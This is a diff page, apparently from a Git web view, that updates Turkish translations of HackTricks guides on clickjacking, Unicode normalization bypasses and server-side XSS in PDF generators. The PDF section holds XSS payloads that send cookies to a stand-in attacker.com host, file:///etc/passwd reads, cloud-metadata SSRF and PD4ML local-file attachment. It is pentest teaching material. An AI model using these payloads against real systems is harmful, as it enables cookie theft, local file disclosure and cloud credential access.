Eğer bir **XSS saldırısını tetiklemek için kullanıcının bir öğeye tıklamasını gerektiren** bir durum tespit ettiyseniz ve sayfa **clickjacking'e karşı savunmasızsa**, bunu kullanarak kullanıcıyı butona/bağlantıya tıklamaya kandırabilirsiniz.\
|
||||
Örnek:\
|
||||
Hesabın bazı özel detaylarında bir **self XSS** buldunuz (bu detayları **sadece sizin ayarlayıp okuyabileceğiniz**). Bu detayları ayarlamak için kullanılan **form** içeren sayfa **Clickjacking'e karşı savunmasız** ve **formu** GET parametreleri ile **önceden doldurabilirsiniz**.\
|
||||
Bir saldırgan, bu sayfaya **XSS yükü** ile **formu** **önceden doldurarak** bir **Clickjacking** saldırısı hazırlayabilir ve **kullanıcıyı** formu **göndermeye** **kandırabilir**. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'i çalıştıracaktır**.
|
||||
Hesabın bazı özel detaylarında bir **self XSS** buldunuz (bu detayları **sadece sizin ayarlayıp okuyabileceğiniz**). Bu detayları ayarlamak için kullanılan **form** **Clickjacking'e karşı savunmasız** ve **formu** GET parametreleri ile **önceden doldurabilirsiniz**.\
|
||||
Bir saldırgan, bu sayfaya yönelik bir **Clickjacking** saldırısı hazırlayarak **formu** **XSS yükü** ile **önceden doldurup** **kullanıcıyı** formu **Gönder** butonuna tıklamaya kandırabilir. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'i çalıştıracaktır**.
|
||||
|
||||
### DoubleClickjacking
|
||||
|
||||
Öncelikle [bu yazıda açıklandığı gibi](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), bu teknik, kurbanın belirli bir konumda yerleştirilmiş özel bir sayfadaki bir butona çift tıklamasını isteyecek ve mousedown ile onclick olayları arasındaki zaman farklarını kullanarak kurban sayfasını çift tıklama sırasında yükleyecek, böylece **kurban aslında kurban sayfasındaki geçerli bir butona tıklamış olacak**.
|
||||
İlk olarak [bu yazıda açıklandığı gibi](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), bu teknik, kurbanın belirli bir konumda yerleştirilmiş özel bir sayfadaki bir butona çift tıklamasını isteyecek ve mousedown ile onclick olayları arasındaki zaman farklarını kullanarak çift tıklama sırasında kurban sayfasını yükleyecek, böylece **kurban aslında kurban sayfasındaki geçerli bir butona tıklamış olacak**.
|
||||
|
||||
Bir örnek bu videoda görülebilir: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||
|
||||
Bir kod örneği [bu sayfada](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html) bulunabilir.
|
||||
|
||||
> [!WARNING]
|
||||
> Bu teknik, kullanıcının kurban sayfasında 1 yere tıklamasını sağlamak için clickjacking'e karşı her türlü korumayı aşar. Bu nedenle saldırganın **sadece 1 tıklama ile yapılabilecek hassas eylemleri, örneğin OAuth izinlerini kabul eden istemleri** bulması gerekir.
|
||||
> Bu teknik, kullanıcının kurban sayfasında 1 yere tıklamasını sağlamak için clickjacking'e karşı her türlü korumayı aşar. Bu nedenle saldırganın **sadece 1 tıklama ile yapılabilecek hassas eylemleri bulması gerekir, örneğin OAuth izinlerini kabul eden istemler**.
|
||||
|
||||
## Clickjacking'i Azaltma Stratejileri
|
||||
|
||||
@ -111,20 +113,20 @@ Bir örnek bu videoda görülebilir: [https://www.youtube.com/watch?v=4rGvRRMrD1
|
||||
|
||||
- Uygulama penceresinin ana veya üst pencere olduğundan emin olmak.
|
||||
- Tüm çerçevelerin görünür olmasını sağlamak.
|
||||
- Görünmez çerçevelerde tıklamaları önlemek.
|
||||
- Görünmez çerçevelere tıklamayı engellemek.
|
||||
- Kullanıcıları potansiyel Clickjacking girişimlerine karşı uyarmak.
|
||||
|
||||
Ancak, bu çerçeve kırıcı betikler aşılabilir:
|
||||
|
||||
- **Tarayıcıların Güvenlik Ayarları:** Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin eksikliğine bağlı olarak bu betikleri engelleyebilir.
|
||||
- **HTML5 iframe `sandbox` Özelliği:** Bir saldırgan, `allow-top-navigation` olmadan `allow-forms` veya `allow-scripts` değerleri ile `sandbox` özelliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir. Bu, iframe'in en üst pencere olup olmadığını doğrulamasını engeller, örneğin,
|
||||
- **HTML5 iframe `sandbox` Özelliği:** Bir saldırgan, `allow-top-navigation` olmadan `allow-forms` veya `allow-scripts` değerleri ile `sandbox` özelliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir. Bu, iframe'in üst pencere olup olmadığını doğrulamasını engeller, örneğin,
|
||||
```html
|
||||
<iframe
|
||||
id="victim_website"
|
||||
src="https://victim-website.com"
|
||||
sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
`allow-forms` ve `allow-scripts` değerleri, iframe içinde eylemleri etkinleştirirken üst düzey navigasyonu devre dışı bırakır. Hedeflenen sitenin istenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak `allow-same-origin` ve `allow-modals` gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir.
|
||||
`allow-forms` ve `allow-scripts` değerleri, üst düzey navigasyonu devre dışı bırakırken iframe içindeki eylemleri etkinleştirir. Hedeflenen sitenin istenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak `allow-same-origin` ve `allow-modals` gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir.
|
||||
|
||||
### Sunucu Tarafı Savunmaları
|
||||
|
||||
@ -176,20 +178,20 @@ Bu politika, aynı kökenden (self) ve https://trusted-website.com adresinden ge
|
||||
**Kullanım Notları:**
|
||||
|
||||
- Kullanımdan Kaldırma: child-src, frame-src ve worker-src lehine aşamalı olarak kaldırılmaktadır.
|
||||
- Yedek Davranış: Eğer frame-src yoksa, çerçeveler için yedek olarak child-src kullanılır. Her ikisi de yoksa, default-src kullanılır.
|
||||
- Yedek Davranış: Eğer frame-src yoksa, child-src çerçeveler için yedek olarak kullanılır. Her ikisi de yoksa, default-src kullanılır.
|
||||
- Sıkı Kaynak Tanımı: Sömürüyü önlemek için direktiflerde yalnızca güvenilir kaynaklar dahil edilmelidir.
|
||||
|
||||
#### JavaScript Çerçeve Kırma Scriptleri
|
||||
|
||||
Tamamen güvenilir olmasa da, bir web sayfasının çerçevelenmesini önlemek için JavaScript tabanlı çerçeve kırma scriptleri kullanılabilir. Örnek:
|
||||
Tamamen güvenilir olmasa da, JavaScript tabanlı çerçeve kırma scriptleri, bir web sayfasının çerçevelenmesini önlemek için kullanılabilir. Örnek:
|
||||
```javascript
|
||||
if (top !== self) {
|
||||
top.location = self.location
|
||||
}
|
||||
```
|
||||
#### Anti-CSRF Token'ların Kullanımı
|
||||
#### Anti-CSRF Tokenlarının Kullanımı
|
||||
|
||||
- **Token Doğrulama:** Web uygulamalarında anti-CSRF token'ları kullanarak, durum değiştiren isteklerin kullanıcının kasıtlı olarak yapıldığından ve Clickjacked bir sayfa aracılığıyla yapılmadığından emin olun.
|
||||
- **Token Doğrulama:** Web uygulamalarında, durum değiştiren isteklerin kullanıcının kasıtlı olarak yapıldığından emin olmak için anti-CSRF tokenları kullanın ve Clickjacked bir sayfa aracılığıyla yapılmadığını kontrol edin.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -2,28 +2,28 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Bu, şunun bir özetidir:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Daha fazla ayrıntı için kontrol edin (görüntüler oradan alınmıştır).
|
||||
**Bu, şunun bir özetidir:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Daha fazla detay için göz atın (görüntüler oradan alınmıştır).
|
||||
|
||||
## Unicode ve Normalizasyonu Anlamak
|
||||
|
||||
Unicode normalizasyonu, karakterlerin farklı ikili temsillerinin aynı ikili değere standartlaştırılmasını sağlayan bir süreçtir. Bu süreç, programlama ve veri işleme sırasında dizelerle başa çıkmak için kritik öneme sahiptir. Unicode standardı, iki tür karakter eşdeğerliğini tanımlar:
|
||||
Unicode normalizasyonu, karakterlerin farklı ikili temsillerinin aynı ikili değere standartlaştırılmasını sağlayan bir süreçtir. Bu süreç, programlama ve veri işleme sırasında dizelerle çalışırken kritik öneme sahiptir. Unicode standardı, iki tür karakter eşdeğerliliği tanımlar:
|
||||
|
||||
1. **Kanonik Eşdeğerlik**: Karakterler, yazıldığında veya görüntülendiğinde aynı görünüme ve anlama sahiplerse kanonik olarak eşdeğer kabul edilir.
|
||||
2. **Uyumluluk Eşdeğerliği**: Karakterlerin aynı soyut karakteri temsil edebileceği ancak farklı şekilde görüntülenebileceği daha zayıf bir eşdeğerlik biçimidir.
|
||||
1. **Kanonik Eşdeğerlilik**: Karakterler, yazıldığında veya görüntülendiğinde aynı görünüme ve anlama sahip olduklarında kanonik olarak eşdeğer kabul edilir.
|
||||
2. **Uyumluluk Eşdeğerliliği**: Karakterlerin aynı soyut karakteri temsil edebileceği ancak farklı şekilde görüntülenebileceği daha zayıf bir eşdeğerlilik biçimidir.
|
||||
|
||||
**Dört Unicode normalizasyon algoritması** vardır: NFC, NFD, NFKC ve NFKD. Her algoritma, kanonik ve uyumluluk normalizasyon tekniklerini farklı şekilde kullanır. Daha derin bir anlayış için bu teknikleri [Unicode.org](https://unicode.org/) adresinde keşfedebilirsiniz.
|
||||
|
||||
### Unicode Kodlama Üzerine Ana Noktalar
|
||||
|
||||
Unicode kodlamasını anlamak, özellikle farklı sistemler veya diller arasında birlikte çalışabilirlik sorunlarıyla başa çıkarken çok önemlidir. İşte ana noktalar:
|
||||
Unicode kodlamasını anlamak, özellikle farklı sistemler veya diller arasında birlikte çalışabilirlik sorunlarıyla uğraşırken çok önemlidir. İşte ana noktalar:
|
||||
|
||||
- **Kod Noktaları ve Karakterler**: Unicode'da, her karakter veya sembole "kod noktası" olarak bilinen bir sayısal değer atanır.
|
||||
- **Bayt Temsili**: Kod noktası (veya karakter), bellekte bir veya daha fazla bayt ile temsil edilir. Örneğin, LATIN-1 karakterleri (İngilizce konuşulan ülkelerde yaygın) bir bayt kullanılarak temsil edilir. Ancak, daha büyük bir karakter setine sahip diller, temsil için daha fazla bayta ihtiyaç duyar.
|
||||
- **Kodlama**: Bu terim, karakterlerin bir dizi bayta nasıl dönüştürüldüğünü ifade eder. UTF-8, ASCII karakterlerinin bir bayt kullanılarak ve diğer karakterler için dört bayta kadar temsil edildiği yaygın bir kodlama standardıdır.
|
||||
- **Kodlama**: Bu terim, karakterlerin bir dizi bayta nasıl dönüştürüldüğünü ifade eder. UTF-8, ASCII karakterlerinin bir bayt kullanılarak temsil edildiği ve diğer karakterler için dört bayta kadar kullanılan yaygın bir kodlama standardıdır.
|
||||
- **Veri İşleme**: Veri işleyen sistemlerin, bayt akışını karakterlere doğru bir şekilde dönüştürmek için kullanılan kodlamanın farkında olması gerekir.
|
||||
- **UTF Varyantları**: UTF-8'in yanı sıra, en az 2 bayt (maksimum 4) kullanan UTF-16 ve tüm karakterler için 4 bayt kullanan UTF-32 gibi diğer kodlama standartları da vardır.
|
||||
- **UTF Varyantları**: UTF-8 dışında, en az 2 bayt (maksimum 4) kullanan UTF-16 ve tüm karakterler için 4 bayt kullanan UTF-32 gibi diğer kodlama standartları da vardır.
|
||||
|
||||
Unicode'un karmaşıklığı ve çeşitli kodlama yöntemlerinden kaynaklanan potansiyel sorunları etkili bir şekilde ele almak ve hafifletmek için bu kavramları anlamak çok önemlidir.
|
||||
Unicode'un karmaşıklığı ve çeşitli kodlama yöntemlerinden kaynaklanan potansiyel sorunları etkili bir şekilde ele almak ve hafifletmek için bu kavramları anlamak kritik öneme sahiptir.
|
||||
|
||||
Unicode'un aynı karakteri temsil eden iki farklı baytı nasıl normalleştirdiğine dair bir örnek:
|
||||
```python
|
||||
@ -33,7 +33,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||
|
||||
### Keşif
|
||||
|
||||
Eğer bir web uygulamasında geri dönen bir değer bulursanız, **‘KELVIN SIGN’ (U+0212A)** göndermeyi deneyebilirsiniz ki bu **"K"** olarak **normalleşir** (bunu `%e2%84%aa` olarak gönderebilirsiniz). **Eğer bir "K" geri dönerse**, o zaman bir tür **Unicode normalizasyonu** gerçekleştiriliyor demektir.
|
||||
Eğer bir web uygulamasında geri dönen bir değer bulursanız, **‘KELVIN SIGN’ (U+0212A)** göndermeyi deneyebilirsiniz ki bu **"K"** olarak **normalleşir** (bunu `%e2%84%aa` olarak gönderebilirsiniz). **Eğer bir "K" geri dönerse**, o zaman bir tür **Unicode normalizasyonu** gerçekleştirilmektedir.
|
||||
|
||||
Diğer **örnek**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` **unicode** sonrasında `Leonishan` olur.
|
||||
|
||||
@ -85,20 +85,30 @@ Web uygulamasını kandırmak ve bir XSS istismar etmek için aşağıdaki karak
|
||||
|
||||
 (2).png>)
|
||||
|
||||
Örneğin, önerilen ilk Unicode karakteri şu şekilde gönderilebilir: `%e2%89%ae` veya `%u226e`
|
||||
Örneğin, önerilen ilk Unicode karakteri `%e2%89%ae` veya `%u226e` olarak gönderilebilir.
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
### Fuzzing Regexes
|
||||
|
||||
Arka uç **kullanıcı girişini bir regex ile kontrol ediyorsa**, **girişin** **regex** için **normalize** ediliyor olması mümkün, ancak **kullanıldığı yer için** **değil**. Örneğin, bir Open Redirect veya SSRF'de regex, gönderilen URL'yi **normalize** ediyor olabilir ama sonra **olduğu gibi** erişiyor olabilir.
|
||||
Arka uç **kullanıcı girişini bir regex ile kontrol ediyorsa**, **girişin** **regex** için **normalize** ediliyor olması ama **kullanıldığı yer için** **değil** olması mümkün olabilir. Örneğin, bir Open Redirect veya SSRF'de regex, gönderilen URL'yi **normalize** ediyor olabilir ama sonra **olduğu gibi** erişiyor olabilir.
|
||||
|
||||
Araç [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* arka ucu fuzzlamak için **girişin varyasyonlarını** **üretmeye** olanak tanır. Daha fazla bilgi için **github** ve bu [**gönderiyi**](https://0xacb.com/2022/11/21/recollapse/) kontrol edin.
|
||||
Araç [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* arka ucu fuzzlamak için **girişin varyasyonlarını** **üretmeye** olanak tanır. Daha fazla bilgi için **github** ve bu [**gönderiye**](https://0xacb.com/2022/11/21/recollapse/) bakın.
|
||||
|
||||
## Unicode Taşması
|
||||
|
||||
Bu [blogdan](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), bir baytın maksimum değeri 255'tir, eğer sunucu savunmasızsa, belirli ve beklenmedik bir ASCII karakteri üretmek için bir taşma oluşturulabilir. Örneğin, aşağıdaki karakterler `A`'ya dönüştürülecektir:
|
||||
|
||||
- 0x4e41
|
||||
- 0x4f41
|
||||
- 0x5041
|
||||
- 0x5141
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
|
||||
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
|
||||
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,28 +1,28 @@
|
||||
# Sunucu Tarafı XSS (Dinamik PDF)
|
||||
# Server Side XSS (Dynamic PDF)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sunucu Tarafı XSS (Dinamik PDF)
|
||||
## Server Side XSS (Dynamic PDF)
|
||||
|
||||
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu kandırmayı** deneyebilirsiniz ve **keyfi JS kodu çalıştırmasını** sağlayabilirsiniz.\
|
||||
Yani, eğer **PDF oluşturucu bot** bazı **HTML** **etiketleri** bulursa, bunları **yorumlayacaktır** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz.
|
||||
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu** **keyfi JS kodu çalıştırması için kandırmayı** deneyebilirsiniz.\
|
||||
Yani, eğer **PDF oluşturucu bot bazı** **HTML** **etiketleri** bulursa, bunları **yorumlayacaktır** ve bu davranışı **istismar** ederek bir **Server XSS** oluşturabilirsiniz.
|
||||
|
||||
Lütfen, `<script></script>` etiketlerinin her zaman çalışmadığını unutmayın, bu yüzden JS'yi çalıştırmak için farklı bir yöntem kullanmanız gerekecek (örneğin, `<img` istismar ederek).\
|
||||
Ayrıca, normal bir istismar durumunda oluşturulan PDF'yi **görebilir/indirebilirsiniz**, bu yüzden **JS ile yazdığınız her şeyi** görebileceksiniz (örneğin `document.write()` kullanarak). Ancak, eğer oluşturulan PDF'yi **göremezseniz**, muhtemelen **bilgiyi çıkarmak için web isteği yapmanız** gerekecektir (Kör).
|
||||
Ayrıca, normal bir istismar durumunda oluşturulan pdf'yi **görebilir/indirebilirsiniz**, bu yüzden **JS ile yazdığınız her şeyi** görebilirsiniz (örneğin `document.write()` kullanarak). Ancak, eğer oluşturulan PDF'yi **göremiyorsanız**, muhtemelen **bilgiyi çıkarmak için web isteği yapmanız** gerekecek (Kör).
|
||||
|
||||
### Popüler PDF oluşturma
|
||||
|
||||
- **wkhtmltopdf**, HTML ve CSS'yi PDF belgelerine dönüştürme yeteneği ile bilinir ve WebKit render motorunu kullanır. Bu araç, geniş bir uygulama yelpazesi için erişilebilir olan açık kaynaklı bir komut satırı aracı olarak mevcuttur.
|
||||
- **TCPDF**, PDF oluşturma için PHP ekosisteminde sağlam bir çözüm sunar. Görüntüleri, grafikleri ve şifrelemeyi işleyebilme yeteneğine sahiptir ve karmaşık belgeler oluşturma konusundaki çok yönlülüğünü sergiler.
|
||||
- **wkhtmltopdf**, HTML ve CSS'yi PDF belgelerine dönüştürme yeteneği ile bilinir ve WebKit render motorunu kullanır. Bu araç, geniş bir uygulama yelpazesi için erişilebilir hale getiren açık kaynaklı bir komut satırı aracı olarak mevcuttur.
|
||||
- **TCPDF**, PDF oluşturma için PHP ekosisteminde sağlam bir çözüm sunar. Görüntüleri, grafikleri ve şifrelemeyi işleyebilme yeteneği ile karmaşık belgeler oluşturmak için çok yönlülüğünü sergiler.
|
||||
- Node.js ortamında çalışanlar için **PDFKit** geçerli bir seçenek sunar. HTML ve CSS'den doğrudan PDF belgeleri oluşturulmasına olanak tanır ve web içeriği ile yazdırılabilir formatlar arasında bir köprü sağlar.
|
||||
- Java geliştiricileri, PDF oluşturmayı kolaylaştıran ve dijital imzalar ile form doldurma gibi gelişmiş özellikleri destekleyen **iText** kütüphanesini tercih edebilir. Kapsamlı özellik seti, güvenli ve etkileşimli belgeler oluşturmak için uygundur.
|
||||
- **FPDF**, basitliği ve kullanım kolaylığı ile öne çıkan bir başka PHP kütüphanesidir. Geliştiricilerin kapsamlı özelliklere ihtiyaç duymadan PDF oluşturma konusunda basit bir yaklaşım arayanlar için tasarlanmıştır.
|
||||
- **FPDF**, basitliği ve kullanım kolaylığı ile öne çıkan bir başka PHP kütüphanesidir. Geliştiricilerin kapsamlı özelliklere ihtiyaç duymadan PDF oluşturma için basit bir yaklaşım arayanlar için tasarlanmıştır.
|
||||
|
||||
## Payloadlar
|
||||
## Payloads
|
||||
|
||||
### Keşif
|
||||
### Discovery
|
||||
```html
|
||||
<!-- Basic discovery, Write somthing-->
|
||||
<!-- Basic discovery, Write something-->
|
||||
<img src="x" onerror="document.write('test')" />
|
||||
<script>document.write(JSON.stringify(window.location))</script>
|
||||
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
|
||||
@ -32,10 +32,26 @@ Ayrıca, normal bir istismar durumunda oluşturulan PDF'yi **görebilir/indirebi
|
||||
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
|
||||
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
|
||||
<link rel=attachment href="http://attacker.com">
|
||||
|
||||
<!-- Using base HTML tag -->
|
||||
<base href="http://attacker.com" />
|
||||
|
||||
<!-- Loading external stylesheet -->
|
||||
<link rel="stylesheet" src="http://attacker.com" />
|
||||
|
||||
<!-- Meta-tag to auto-refresh page -->
|
||||
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
|
||||
|
||||
<!-- Loading external components -->
|
||||
<input type="image" src="http://attacker.com" />
|
||||
<video src="http://attacker.com" />
|
||||
<audio src="http://attacker.com" />
|
||||
<audio><source src="http://attacker.com"/></audio>
|
||||
<svg src="http://attacker.com" />
|
||||
```
|
||||
### SVG
|
||||
|
||||
Bu SVG yüklemesi içinde önceki veya aşağıdaki yüklemelerden herhangi biri kullanılabilir. Bir iframe Burpcollab alt alanına erişirken, diğeri ise meta veri uç noktasına erişim sağlamak için örnek olarak verilmiştir.
|
||||
Bu SVG yüklemesi içinde önceki veya aşağıdaki yüklemelerden herhangi biri kullanılabilir. Bir iframe Burpcollab alt alanına erişirken, diğeri ise meta veri uç noktasına erişmektedir; bunlar örnek olarak verilmiştir.
|
||||
```html
|
||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||
<g>
|
||||
@ -79,7 +95,7 @@ Bu güvenlik açığını istismar etmenin en uygun yolu, botun yerel olarak kon
|
||||
### Yerel dosyayı oku / SSRF
|
||||
|
||||
> [!WARNING]
|
||||
> `file:///etc/passwd` yerine `http://169.254.169.254/latest/user-data` gibi bir şey değiştirin **harici bir web sayfasına erişmeye çalışmak için (SSRF)**.
|
||||
> `file:///etc/passwd` yerine örneğin `http://169.254.169.254/latest/user-data` kullanarak **harici bir web sayfasına erişmeye çalışın (SSRF)**.
|
||||
>
|
||||
> Eğer SSRF'ye izin veriliyorsa, ancak ilginç bir alan adına veya IP'ye **ulaşamıyorsanız**, [bypass'lar için bu sayfayı kontrol edin](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||||
```html
|
||||
@ -147,13 +163,13 @@ checkPort(i);
|
||||
```
|
||||
### [SSRF](../ssrf-server-side-request-forgery/index.html)
|
||||
|
||||
Bu zafiyet, SSRF'ye çok kolay bir şekilde dönüştürülebilir (çünkü script'in dış kaynakları yüklemesine izin verirsiniz). Bu yüzden bunu istismar etmeyi deneyin (biraz meta veriyi mi okuyacaksınız?).
|
||||
Bu zafiyet, bir SSRF'ye çok kolay bir şekilde dönüştürülebilir (çünkü script'in dış kaynakları yüklemesine izin verirsiniz). Bu yüzden bunu istismar etmeyi deneyin (biraz meta verisi mi okuyacaksınız?).
|
||||
|
||||
### Attachments: PD4ML
|
||||
|
||||
PDF için **ekleri belirtmeye** izin veren bazı HTML 2 PDF motorları vardır, bunlardan biri **PD4ML**'dir. Bu özelliği, PDF'ye **herhangi bir yerel dosyayı eklemek** için kötüye kullanabilirsiniz.\
|
||||
Eklemeyi açmak için dosyayı **Firefox ile açtım ve Ataç simgesine çift tıkladım** ve **eklemeyi** yeni bir dosya olarak **kaydettim**.\
|
||||
Burp ile **PDF yanıtını** yakalamak da **eklemeyi düz metin olarak** PDF içinde **göstermelidir**.
|
||||
PDF için **ekleri belirtmeye** izin veren bazı HTML 2 PDF motorları vardır, örneğin **PD4ML**. Bu özelliği, **herhangi bir yerel dosyayı** PDF'ye **eklemek** için kötüye kullanabilirsiniz.\
|
||||
Ek'i açmak için dosyayı **Firefox ile açtım ve Ataç simgesine çift tıkladım** ve **ek'i** yeni bir dosya olarak **kaydettim**.\
|
||||
Burp ile **PDF yanıtını** yakalamak da **ek'i düz metin olarak** PDF içinde **göstermelidir**.
|
||||
```html
|
||||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
||||
<html>
|
||||
@ -169,5 +185,6 @@ icon="Paperclip" />
|
||||
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
||||
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
|
||||
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
|
||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user